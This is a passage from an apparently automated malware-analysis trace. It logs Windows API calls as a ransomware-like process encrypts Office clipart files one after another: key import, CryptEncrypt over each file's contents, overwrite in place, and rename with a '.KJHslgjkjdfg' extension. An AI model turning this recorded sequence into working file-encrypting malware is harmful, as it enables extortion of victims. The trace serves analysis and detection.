ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0182.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.060] GetProcessHeap () returned 0x990000 [0182.060] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.060] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.060] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.066] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.066] GetProcessHeap () returned 0x990000 [0182.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.066] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.066] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.066] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.066] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.066] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.066] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.067] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.067] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc48, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xc48, lpOverlapped=0x0) returned 1 [0182.067] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50, dwBufLen=0xc50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xc50) returned 1 [0182.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.067] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xc50, lpOverlapped=0x0) returned 1 [0182.067] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.067] SetEndOfFile (hFile=0x130) returned 1 [0182.069] GetProcessHeap () returned 0x990000 [0182.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.069] GetProcessHeap () returned 0x990000 [0182.069] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.kjhslgjkjdfg")) returned 1 [0182.078] CloseHandle (hObject=0x130) returned 1 [0182.079] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0182.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.080] GetProcessHeap () returned 0x990000 [0182.080] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.080] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.080] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.082] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.082] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.082] GetProcessHeap () returned 0x990000 [0182.083] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.083] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.083] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.083] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.083] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.083] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.083] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.083] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.084] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1df4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1df4, lpOverlapped=0x0) returned 1 [0182.084] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00) returned 1 [0182.084] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.085] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e00, lpOverlapped=0x0) returned 1 [0182.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.085] SetEndOfFile (hFile=0x130) returned 1 [0182.088] GetProcessHeap () returned 0x990000 [0182.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.088] GetProcessHeap () returned 0x990000 [0182.088] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.kjhslgjkjdfg")) returned 1 [0182.092] CloseHandle (hObject=0x130) returned 1 [0182.092] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0182.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.092] GetProcessHeap () returned 0x990000 [0182.093] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.093] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.093] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.095] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.095] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.095] GetProcessHeap () returned 0x990000 [0182.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.095] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.095] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.095] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.095] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.095] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.096] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.096] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.096] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.096] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.096] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x212c, lpOverlapped=0x0) returned 1 [0182.098] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2130, dwBufLen=0x2130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2130) returned 1 [0182.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.099] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2130, lpOverlapped=0x0) returned 1 [0182.099] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.099] SetEndOfFile (hFile=0x130) returned 1 [0182.101] GetProcessHeap () returned 0x990000 [0182.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.101] GetProcessHeap () returned 0x990000 [0182.101] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.kjhslgjkjdfg")) returned 1 [0182.109] CloseHandle (hObject=0x130) returned 1 [0182.110] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0182.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.110] GetProcessHeap () returned 0x990000 [0182.110] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.110] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.111] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.118] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.118] GetProcessHeap () returned 0x990000 [0182.118] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.118] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.118] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.118] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.118] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.118] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.118] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.119] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.119] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.119] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.119] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0182.120] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80) returned 1 [0182.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.121] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e80, lpOverlapped=0x0) returned 1 [0182.121] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.121] SetEndOfFile (hFile=0x130) returned 1 [0182.124] GetProcessHeap () returned 0x990000 [0182.124] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.124] GetProcessHeap () returned 0x990000 [0182.124] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.kjhslgjkjdfg")) returned 1 [0182.127] CloseHandle (hObject=0x130) returned 1 [0182.127] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0182.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.128] GetProcessHeap () returned 0x990000 [0182.128] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.128] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.128] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.130] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.130] CryptSetKeyParam (hKey=0x9b6628, 